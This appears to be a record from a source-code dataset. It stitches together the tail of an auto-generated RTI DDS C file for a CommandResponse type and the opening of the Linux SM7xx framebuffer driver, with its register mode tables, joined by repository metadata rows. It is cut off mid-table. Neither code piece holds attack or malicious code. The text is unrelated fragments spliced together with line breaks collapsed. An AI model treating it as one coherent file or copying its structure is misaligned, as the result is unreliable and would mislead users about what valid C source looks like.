NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"message",/* Member name */ { 4,/* Representation ID */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, 0, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PUBLIC_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_ADMIN_CommandResponse_g_tc = {{ DDS_TK_STRUCT| DDS_TK_MUTABLE_EXTENSIBILITY, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::ADMIN::CommandResponse", /* Name */ NULL, /* Ignored */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 5, /* Number of members */ RTI_DL_ADMIN_CommandResponse_g_tc_members, /* Members */ DDS_VM_NONE, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_ADMIN_CommandResponse*/ if (is_initialized) { return &RTI_DL_ADMIN_CommandResponse_g_tc; } RTI_DL_ADMIN_CommandResponse_g_tc._data._annotations._allowedDataRepresentationMask = 5; RTI_DL_ADMIN_CommandResponse_g_tc_members[0]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_HostAndAppId_get_typecode(); RTI_DL_ADMIN_CommandResponse_g_tc_members[1]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_HostAndAppId_get_typecode(); RTI_DL_ADMIN_CommandResponse_g_tc_members[2]._representation._typeCode = (RTICdrTypeCode *)&DDS_g_tc_long; RTI_DL_ADMIN_CommandResponse_g_tc_members[3]._representation._typeCode = (RTICdrTypeCode *)RTI_DL_ADMIN_CommandResult_get_typecode(); RTI_DL_ADMIN_CommandResponse_g_tc_members[4]._representation._typeCode = (RTICdrTypeCode *)&RTI_DL_ADMIN_CommandResponse_g_tc_message_string; /* Initialize the values for member annotations. */ RTI_DL_ADMIN_CommandResponse_g_tc_members[2]._annotations._defaultValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_CommandResponse_g_tc_members[2]._annotations._defaultValue._u.long_value = 0; RTI_DL_ADMIN_CommandResponse_g_tc_members[2]._annotations._minValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_CommandResponse_g_tc_members[2]._annotations._minValue._u.long_value = RTIXCdrLong_MIN; RTI_DL_ADMIN_CommandResponse_g_tc_members[2]._annotations._maxValue._d = RTI_XCDR_TK_LONG; RTI_DL_ADMIN_CommandResponse_g_tc_members[2]._annotations._maxValue._u.long_value = RTIXCdrLong_MAX; RTI_DL_ADMIN_CommandResponse_g_tc_members[3]._annotations._defaultValue._d = RTI_XCDR_TK_ENUM; RTI_DL_ADMIN_CommandResponse_g_tc_members[3]._annotations._defaultValue._u.enumerated_value = 0; RTI_DL_ADMIN_CommandResponse_g_tc_members[4]._annotations._defaultValue._d = RTI_XCDR_TK_STRING; RTI_DL_ADMIN_CommandResponse_g_tc_members[4]._annotations._defaultValue._u.string_value = (DDS_Char *) ""; RTI_DL_ADMIN_CommandResponse_g_tc._data._sampleAccessInfo = RTI_DL_ADMIN_CommandResponse_get_sample_access_info(); RTI_DL_ADMIN_CommandResponse_g_tc._data._typePlugin = RTI_DL_ADMIN_CommandResponse_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_ADMIN_CommandResponse_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_ADMIN_CommandResponse_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_ADMIN_CommandResponse_g_memberAccessInfos[5] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_ADMIN_CommandResponse_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_CommandResponse_g_sampleAccessInfo; } RTI_DL_ADMIN_CommandResponse_g_memberAccessInfos[0].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_CommandResponse *)NULL)->hostAndAppId); RTI_DL_ADMIN_CommandResponse_g_memberAccessInfos[1].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_CommandResponse *)NULL)->originatorHostAndAppId); RTI_DL_ADMIN_CommandResponse_g_memberAccessInfos[2].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_CommandResponse *)NULL)->invocation); RTI_DL_ADMIN_CommandResponse_g_memberAccessInfos[3].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_CommandResponse *)NULL)->commandResult); RTI_DL_ADMIN_CommandResponse_g_memberAccessInfos[4].bindingMemberValueOffset[0] = (RTIXCdrUnsignedLong) RTIXCdrUtility_pointerToULongLong(&((RTI_DL_ADMIN_CommandResponse *)NULL)->message); RTI_DL_ADMIN_CommandResponse_g_sampleAccessInfo.memberAccessInfos = RTI_DL_ADMIN_CommandResponse_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_ADMIN_CommandResponse); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_ADMIN_CommandResponse_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_ADMIN_CommandResponse_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_ADMIN_CommandResponse_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_CommandResponse_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_ADMIN_CommandResponse_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_ADMIN_CommandResponse_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_ADMIN_CommandResponse_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_ADMIN_CommandResponse_finalize_w_return, NULL }; return &RTI_DL_ADMIN_CommandResponse_g_typePlugin; } #endif RTIBool RTI_DL_ADMIN_CommandResponse_initialize( RTI_DL_ADMIN_CommandResponse* sample) { return RTI_DL_ADMIN_CommandResponse_initialize_ex(sample,RTI_TRUE,RTI_TRUE); } RTIBool RTI_DL_ADMIN_CommandResponse_initialize_ex( RTI_DL_ADMIN_CommandResponse* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_ADMIN_CommandResponse_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_ADMIN_CommandResponse_initialize_w_params( RTI_DL_ADMIN_CommandResponse* sample, const struct DDS_TypeAllocationParams_t * allocParams) { if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } if (!RTI_DL_HostAndAppId_initialize_w_params(&sample->hostAndAppId, allocParams)) { return RTI_FALSE; } if (!RTI_DL_HostAndAppId_initialize_w_params(&sample->originatorHostAndAppId, allocParams)) { return RTI_FALSE; } sample->invocation = 0; sample->commandResult = RTI_DL_COMMAND_RESULT_OK; if (allocParams->allocate_memory) { sample->message = DDS_String_alloc(((RTI_DL_ADMIN_COMMAND_RESPONSE_MAX_LENGTH))); RTICdrType_copyStringEx( &sample->message, "", ((RTI_DL_ADMIN_COMMAND_RESPONSE_MAX_LENGTH)), RTI_FALSE); if (sample->message == NULL) { return RTI_FALSE; } } else { if (sample->message != NULL) { RTICdrType_copyStringEx( &sample->message, "", ((RTI_DL_ADMIN_COMMAND_RESPONSE_MAX_LENGTH)), RTI_FALSE); if (sample->message == NULL) { return RTI_FALSE; } } } return RTI_TRUE; } RTIBool RTI_DL_ADMIN_CommandResponse_finalize_w_return( RTI_DL_ADMIN_CommandResponse* sample) { RTI_DL_ADMIN_CommandResponse_finalize_ex(sample, RTI_TRUE); return RTI_TRUE; } void RTI_DL_ADMIN_CommandResponse_finalize( RTI_DL_ADMIN_CommandResponse* sample) { RTI_DL_ADMIN_CommandResponse_finalize_ex(sample,RTI_TRUE); } void RTI_DL_ADMIN_CommandResponse_finalize_ex( RTI_DL_ADMIN_CommandResponse* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_ADMIN_CommandResponse_finalize_w_params( sample,&deallocParams); } void RTI_DL_ADMIN_CommandResponse_finalize_w_params( RTI_DL_ADMIN_CommandResponse* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } RTI_DL_HostAndAppId_finalize_w_params(&sample->hostAndAppId,deallocParams); RTI_DL_HostAndAppId_finalize_w_params(&sample->originatorHostAndAppId,deallocParams); RTI_DL_ADMIN_CommandResult_finalize_w_params(&sample->commandResult,deallocParams); if (sample->message != NULL) { DDS_String_free(sample->message); sample->message=NULL; } } void RTI_DL_ADMIN_CommandResponse_finalize_optional_members( RTI_DL_ADMIN_CommandResponse* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; RTI_DL_HostAndAppId_finalize_optional_members(&sample->hostAndAppId, deallocParams->delete_pointers); RTI_DL_HostAndAppId_finalize_optional_members(&sample->originatorHostAndAppId, deallocParams->delete_pointers); RTI_DL_ADMIN_CommandResult_finalize_optional_members(&sample->commandResult, deallocParams->delete_pointers); } RTIBool RTI_DL_ADMIN_CommandResponse_copy( RTI_DL_ADMIN_CommandResponse* dst, const RTI_DL_ADMIN_CommandResponse* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } if (!RTI_DL_HostAndAppId_copy( &dst->hostAndAppId,(const RTI_DL_HostAndAppId*)&src->hostAndAppId)) { return RTI_FALSE; } if (!RTI_DL_HostAndAppId_copy( &dst->originatorHostAndAppId,(const RTI_DL_HostAndAppId*)&src->originatorHostAndAppId)) { return RTI_FALSE; } if (!RTICdrType_copyLong ( &dst->invocation, &src->invocation)) { return RTI_FALSE; } if (!RTI_DL_ADMIN_CommandResult_copy( &dst->commandResult,(const RTI_DL_ADMIN_CommandResult*)&src->commandResult)) { return RTI_FALSE; } if (!RTICdrType_copyStringEx ( &dst->message, src->message, ((RTI_DL_ADMIN_COMMAND_RESPONSE_MAX_LENGTH)) + 1, RTI_FALSE)){ return RTI_FALSE; } return RTI_TRUE; } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_ADMIN_CommandResponse' sequence class. */ #define T RTI_DL_ADMIN_CommandResponse #define TSeq RTI_DL_ADMIN_CommandResponseSeq #define T_initialize_w_params RTI_DL_ADMIN_CommandResponse_initialize_w_params #define T_finalize_w_params RTI_DL_ADMIN_CommandResponse_finalize_w_params #define T_copy RTI_DL_ADMIN_CommandResponse_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T
32.827593
156
0.669794
2ff4fe73d148e194178cd47cbf74256cf6fd8eb5
46,042
c
C
difc-kernel/pileus-kernel/drivers/staging/sm7xxfb/sm7xxfb.c
SIIS-cloud/pileus
de7546845cf03862cdd2b9884fefb2033d8b11ab
[ "Apache-2.0" ]
3
2017-09-22T15:10:01.000Z
2018-03-30T02:11:54.000Z
difc-kernel/pileus-kernel/drivers/staging/sm7xxfb/sm7xxfb.c
SIIS-cloud/Pileus
de7546845cf03862cdd2b9884fefb2033d8b11ab
[ "Apache-2.0" ]
null
null
null
difc-kernel/pileus-kernel/drivers/staging/sm7xxfb/sm7xxfb.c
SIIS-cloud/Pileus
de7546845cf03862cdd2b9884fefb2033d8b11ab
[ "Apache-2.0" ]
null
null
null
/* * Silicon Motion SM7XX frame buffer device * * Copyright (C) 2006 Silicon Motion Technology Corp. * Authors: Ge Wang, gewang@siliconmotion.com * Boyod boyod.yang@siliconmotion.com.cn * * Copyright (C) 2009 Lemote, Inc. * Author: Wu Zhangjin, wuzhangjin@gmail.com * * Copyright (C) 2011 Igalia, S.L. * Author: Javier M. Mellid <jmunhoz@igalia.com> * * This file is subject to the terms and conditions of the GNU General Public * License. See the file COPYING in the main directory of this archive for * more details. * * Framebuffer driver for Silicon Motion SM710, SM712, SM721 and SM722 chips */ #include <linux/io.h> #include <linux/fb.h> #include <linux/pci.h> #include <linux/init.h> #include <linux/slab.h> #include <linux/uaccess.h> #include <linux/module.h> #include <linux/console.h> #include <linux/screen_info.h> #ifdef CONFIG_PM #include <linux/pm.h> #endif #include "sm7xx.h" /* * Private structure */ struct smtcfb_info { struct pci_dev *pdev; struct fb_info *fb; u16 chip_id; u8 chip_rev_id; void __iomem *lfb; /* linear frame buffer */ void __iomem *dp_regs; /* drawing processor control regs */ void __iomem *vp_regs; /* video processor control regs */ void __iomem *cp_regs; /* capture processor control regs */ void __iomem *mmio; /* memory map IO port */ u_int width; u_int height; u_int hz; u32 colreg[17]; }; void __iomem *smtc_regbaseaddress; /* Memory Map IO starting address */ static struct fb_var_screeninfo smtcfb_var = { .xres = 1024, .yres = 600, .xres_virtual = 1024, .yres_virtual = 600, .bits_per_pixel = 16, .red = {16, 8, 0}, .green = {8, 8, 0}, .blue = {0, 8, 0}, .activate = FB_ACTIVATE_NOW, .height = -1, .width = -1, .vmode = FB_VMODE_NONINTERLACED, .nonstd = 0, .accel_flags = FB_ACCELF_TEXT, }; static struct fb_fix_screeninfo smtcfb_fix = { .id = "smXXXfb", .type = FB_TYPE_PACKED_PIXELS, .visual = FB_VISUAL_TRUECOLOR, .line_length = 800 * 3, .accel = FB_ACCEL_SMI_LYNX, .type_aux = 0, .xpanstep = 0, .ypanstep = 0, .ywrapstep = 0, }; struct vesa_mode { char index[6]; u16 lfb_width; u16 lfb_height; u16 lfb_depth; }; static const struct vesa_mode vesa_mode_table[] = { {"0x301", 640, 480, 8}, {"0x303", 800, 600, 8}, {"0x305", 1024, 768, 8}, {"0x307", 1280, 1024, 8}, {"0x311", 640, 480, 16}, {"0x314", 800, 600, 16}, {"0x317", 1024, 768, 16}, {"0x31A", 1280, 1024, 16}, {"0x312", 640, 480, 24}, {"0x315", 800, 600, 24}, {"0x318", 1024, 768, 24}, {"0x31B", 1280, 1024, 24}, }; /********************************************************************** SM712 Mode table. **********************************************************************/ static const struct modeinit vgamode[] = { { /* mode#0: 640 x 480 16Bpp 60Hz */ 640, 480, 16, 60, /* Init_MISC */ 0xE3, { /* Init_SR0_SR4 */ 0x03, 0x01, 0x0F, 0x00, 0x0E, }, { /* Init_SR10_SR24 */ 0xFF, 0xBE, 0xEF, 0xFF, 0x00, 0x0E, 0x17, 0x2C, 0x99, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x30, 0x02, 0x01, 0x01, }, { /* Init_SR30_SR75 */ 0x32, 0x03, 0xA0, 0x09, 0xC0, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x00, 0x00, 0x03, 0xFF, 0x00, 0xFC, 0x00, 0x00, 0x20, 0x18, 0x00, 0xFC, 0x20, 0x0C, 0x44, 0x20, 0x00, 0x32, 0x32, 0x32, 0x04, 0x24, 0x63, 0x4F, 0x52, 0x0B, 0xDF, 0xEA, 0x04, 0x50, 0x19, 0x32, 0x32, 0x00, 0x00, 0x32, 0x01, 0x80, 0x7E, 0x1A, 0x1A, 0x00, 0x00, 0x00, 0x50, 0x03, 0x74, 0x14, 0x07, 0x82, 0x07, 0x04, 0x00, 0x45, 0x30, 0x30, 0x40, 0x30, }, { /* Init_SR80_SR93 */ 0xFF, 0x07, 0x00, 0x6F, 0x7F, 0x7F, 0xFF, 0x32, 0xF7, 0x00, 0x00, 0x00, 0xEF, 0xFF, 0x32, 0x32, 0x00, 0x00, 0x00, 0x00, }, { /* Init_SRA0_SRAF */ 0x00, 0xFF, 0xBF, 0xFF, 0xFF, 0xED, 0xED, 0xED, 0x7B, 0xFF, 0xFF, 0xFF, 0xBF, 0xEF, 0xFF, 0xDF, }, { /* Init_GR00_GR08 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x05, 0x0F, 0xFF, }, { /* Init_AR00_AR14 */ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x41, 0x00, 0x0F, 0x00, 0x00, }, { /* Init_CR00_CR18 */ 0x5F, 0x4F, 0x4F, 0x00, 0x53, 0x1F, 0x0B, 0x3E, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEA, 0x0C, 0xDF, 0x50, 0x40, 0xDF, 0x00, 0xE3, 0xFF, }, { /* Init_CR30_CR4D */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x03, 0x20, 0x00, 0x00, 0x00, 0x40, 0x00, 0xE7, 0xFF, 0xFD, 0x5F, 0x4F, 0x00, 0x54, 0x00, 0x0B, 0xDF, 0x00, 0xEA, 0x0C, 0x2E, 0x00, 0x4F, 0xDF, }, { /* Init_CR90_CRA7 */ 0x56, 0xDD, 0x5E, 0xEA, 0x87, 0x44, 0x8F, 0x55, 0x0A, 0x8F, 0x55, 0x0A, 0x00, 0x00, 0x18, 0x00, 0x11, 0x10, 0x0B, 0x0A, 0x0A, 0x0A, 0x0A, 0x00, }, }, { /* mode#1: 640 x 480 24Bpp 60Hz */ 640, 480, 24, 60, /* Init_MISC */ 0xE3, { /* Init_SR0_SR4 */ 0x03, 0x01, 0x0F, 0x00, 0x0E, }, { /* Init_SR10_SR24 */ 0xFF, 0xBE, 0xEF, 0xFF, 0x00, 0x0E, 0x17, 0x2C, 0x99, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x30, 0x02, 0x01, 0x01, }, { /* Init_SR30_SR75 */ 0x32, 0x03, 0xA0, 0x09, 0xC0, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x00, 0x00, 0x03, 0xFF, 0x00, 0xFC, 0x00, 0x00, 0x20, 0x18, 0x00, 0xFC, 0x20, 0x0C, 0x44, 0x20, 0x00, 0x32, 0x32, 0x32, 0x04, 0x24, 0x63, 0x4F, 0x52, 0x0B, 0xDF, 0xEA, 0x04, 0x50, 0x19, 0x32, 0x32, 0x00, 0x00, 0x32, 0x01, 0x80, 0x7E, 0x1A, 0x1A, 0x00, 0x00, 0x00, 0x50, 0x03, 0x74, 0x14, 0x07, 0x82, 0x07, 0x04, 0x00, 0x45, 0x30, 0x30, 0x40, 0x30, }, { /* Init_SR80_SR93 */ 0xFF, 0x07, 0x00, 0x6F, 0x7F, 0x7F, 0xFF, 0x32, 0xF7, 0x00, 0x00, 0x00, 0xEF, 0xFF, 0x32, 0x32, 0x00, 0x00, 0x00, 0x00, }, { /* Init_SRA0_SRAF */ 0x00, 0xFF, 0xBF, 0xFF, 0xFF, 0xED, 0xED, 0xED, 0x7B, 0xFF, 0xFF, 0xFF, 0xBF, 0xEF, 0xFF, 0xDF, }, { /* Init_GR00_GR08 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x05, 0x0F, 0xFF, }, { /* Init_AR00_AR14 */ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x41, 0x00, 0x0F, 0x00, 0x00, }, { /* Init_CR00_CR18 */ 0x5F, 0x4F, 0x4F, 0x00, 0x53, 0x1F, 0x0B, 0x3E, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEA, 0x0C, 0xDF, 0x50, 0x40, 0xDF, 0x00, 0xE3, 0xFF, }, { /* Init_CR30_CR4D */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x03, 0x20, 0x00, 0x00, 0x00, 0x40, 0x00, 0xE7, 0xFF, 0xFD, 0x5F, 0x4F, 0x00, 0x54, 0x00, 0x0B, 0xDF, 0x00, 0xEA, 0x0C, 0x2E, 0x00, 0x4F, 0xDF, }, { /* Init_CR90_CRA7 */ 0x56, 0xDD, 0x5E, 0xEA, 0x87, 0x44, 0x8F, 0x55, 0x0A, 0x8F, 0x55, 0x0A, 0x00, 0x00, 0x18, 0x00, 0x11, 0x10, 0x0B, 0x0A, 0x0A, 0x0A, 0x0A, 0x00, }, }, { /* mode#0: 640 x 480 32Bpp 60Hz */ 640, 480, 32, 60, /* Init_MISC */ 0xE3, { /* Init_SR0_SR4 */ 0x03, 0x01, 0x0F, 0x00, 0x0E, }, { /* Init_SR10_SR24 */ 0xFF, 0xBE, 0xEF, 0xFF, 0x00, 0x0E, 0x17, 0x2C, 0x99, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x30, 0x02, 0x01, 0x01, }, { /* Init_SR30_SR75 */ 0x32, 0x03, 0xA0, 0x09, 0xC0, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x00, 0x00, 0x03, 0xFF, 0x00, 0xFC, 0x00, 0x00, 0x20, 0x18, 0x00, 0xFC, 0x20, 0x0C, 0x44, 0x20, 0x00, 0x32, 0x32, 0x32, 0x04, 0x24, 0x63, 0x4F, 0x52, 0x0B, 0xDF, 0xEA, 0x04, 0x50, 0x19, 0x32, 0x32, 0x00, 0x00, 0x32, 0x01, 0x80, 0x7E, 0x1A, 0x1A, 0x00, 0x00, 0x00, 0x50, 0x03, 0x74, 0x14, 0x07, 0x82, 0x07, 0x04, 0x00, 0x45, 0x30, 0x30, 0x40, 0x30, }, { /* Init_SR80_SR93 */ 0xFF, 0x07, 0x00, 0x6F, 0x7F, 0x7F, 0xFF, 0x32, 0xF7, 0x00, 0x00, 0x00, 0xEF, 0xFF, 0x32, 0x32, 0x00, 0x00, 0x00, 0x00, }, { /* Init_SRA0_SRAF */ 0x00, 0xFF, 0xBF, 0xFF, 0xFF, 0xED, 0xED, 0xED, 0x7B, 0xFF, 0xFF, 0xFF, 0xBF, 0xEF, 0xFF, 0xDF, }, { /* Init_GR00_GR08 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x05, 0x0F, 0xFF, }, { /* Init_AR00_AR14 */ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x41, 0x00, 0x0F, 0x00, 0x00, }, { /* Init_CR00_CR18 */ 0x5F, 0x4F, 0x4F, 0x00, 0x53, 0x1F, 0x0B, 0x3E, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEA, 0x0C, 0xDF, 0x50, 0x40, 0xDF, 0x00, 0xE3, 0xFF, }, { /* Init_CR30_CR4D */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x03, 0x20, 0x00, 0x00, 0x00, 0x40, 0x00, 0xE7, 0xFF, 0xFD, 0x5F, 0x4F, 0x00, 0x54, 0x00, 0x0B, 0xDF, 0x00, 0xEA, 0x0C, 0x2E, 0x00, 0x4F, 0xDF, }, { /* Init_CR90_CRA7 */ 0x56, 0xDD, 0x5E, 0xEA, 0x87, 0x44, 0x8F, 0x55, 0x0A, 0x8F, 0x55, 0x0A, 0x00, 0x00, 0x18, 0x00, 0x11, 0x10, 0x0B, 0x0A, 0x0A, 0x0A, 0x0A, 0x00, }, }, { /* mode#2: 800 x 600 16Bpp 60Hz */ 800, 600, 16, 60, /* Init_MISC */ 0x2B, { /* Init_SR0_SR4 */ 0x03, 0x01, 0x0F, 0x03, 0x0E, }, { /* Init_SR10_SR24 */ 0xFF, 0xBE, 0xEE, 0xFF, 0x00, 0x0E, 0x17, 0x2C, 0x99, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x30, 0x02, 0x01, 0x01, }, { /* Init_SR30_SR75 */ 0x34, 0x03, 0x20, 0x09, 0xC0, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x00, 0x00, 0x03, 0xFF, 0x00, 0xFC, 0x00, 0x00, 0x20, 0x38, 0x00, 0xFC, 0x20, 0x0C, 0x44, 0x20, 0x00, 0x24, 0x24, 0x24, 0x04, 0x48, 0x83, 0x63, 0x68, 0x72, 0x57, 0x58, 0x04, 0x55, 0x59, 0x24, 0x24, 0x00, 0x00, 0x24, 0x01, 0x80, 0x7A, 0x1A, 0x1A, 0x00, 0x00, 0x00, 0x50, 0x03, 0x74, 0x14, 0x1C, 0x85, 0x35, 0x13, 0x02, 0x45, 0x30, 0x35, 0x40, 0x20, }, { /* Init_SR80_SR93 */ 0x00, 0x00, 0x00, 0x6F, 0x7F, 0x7F, 0xFF, 0x24, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x24, 0x24, 0x00, 0x00, 0x00, 0x00, }, { /* Init_SRA0_SRAF */ 0x00, 0xFF, 0xBF, 0xFF, 0xFF, 0xED, 0xED, 0xED, 0x7B, 0xFF, 0xFF, 0xFF, 0xBF, 0xEF, 0xBF, 0xDF, }, { /* Init_GR00_GR08 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x05, 0x0F, 0xFF, }, { /* Init_AR00_AR14 */ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x41, 0x00, 0x0F, 0x00, 0x00, }, { /* Init_CR00_CR18 */ 0x7F, 0x63, 0x63, 0x00, 0x68, 0x18, 0x72, 0xF0, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x0C, 0x57, 0x64, 0x40, 0x57, 0x00, 0xE3, 0xFF, }, { /* Init_CR30_CR4D */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x03, 0x20, 0x00, 0x00, 0x00, 0x40, 0x00, 0xE7, 0xBF, 0xFD, 0x7F, 0x63, 0x00, 0x69, 0x18, 0x72, 0x57, 0x00, 0x58, 0x0C, 0xE0, 0x20, 0x63, 0x57, }, { /* Init_CR90_CRA7 */ 0x56, 0x4B, 0x5E, 0x55, 0x86, 0x9D, 0x8E, 0xAA, 0xDB, 0x2A, 0xDF, 0x33, 0x00, 0x00, 0x18, 0x00, 0x20, 0x1F, 0x1A, 0x19, 0x0F, 0x0F, 0x0F, 0x00, }, }, { /* mode#3: 800 x 600 24Bpp 60Hz */ 800, 600, 24, 60, 0x2B, { /* Init_SR0_SR4 */ 0x03, 0x01, 0x0F, 0x03, 0x0E, }, { /* Init_SR10_SR24 */ 0xFF, 0xBE, 0xEE, 0xFF, 0x00, 0x0E, 0x17, 0x2C, 0x99, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x30, 0x02, 0x01, 0x01, }, { /* Init_SR30_SR75 */ 0x36, 0x03, 0x20, 0x09, 0xC0, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x00, 0x00, 0x03, 0xFF, 0x00, 0xFC, 0x00, 0x00, 0x20, 0x18, 0x00, 0xFC, 0x20, 0x0C, 0x44, 0x20, 0x00, 0x36, 0x36, 0x36, 0x04, 0x48, 0x83, 0x63, 0x68, 0x72, 0x57, 0x58, 0x04, 0x55, 0x59, 0x36, 0x36, 0x00, 0x00, 0x36, 0x01, 0x80, 0x7E, 0x1A, 0x1A, 0x00, 0x00, 0x00, 0x50, 0x03, 0x74, 0x14, 0x1C, 0x85, 0x35, 0x13, 0x02, 0x45, 0x30, 0x30, 0x40, 0x20, }, { /* Init_SR80_SR93 */ 0xFF, 0x07, 0x00, 0x6F, 0x7F, 0x7F, 0xFF, 0x36, 0xF7, 0x00, 0x00, 0x00, 0xEF, 0xFF, 0x36, 0x36, 0x00, 0x00, 0x00, 0x00, }, { /* Init_SRA0_SRAF */ 0x00, 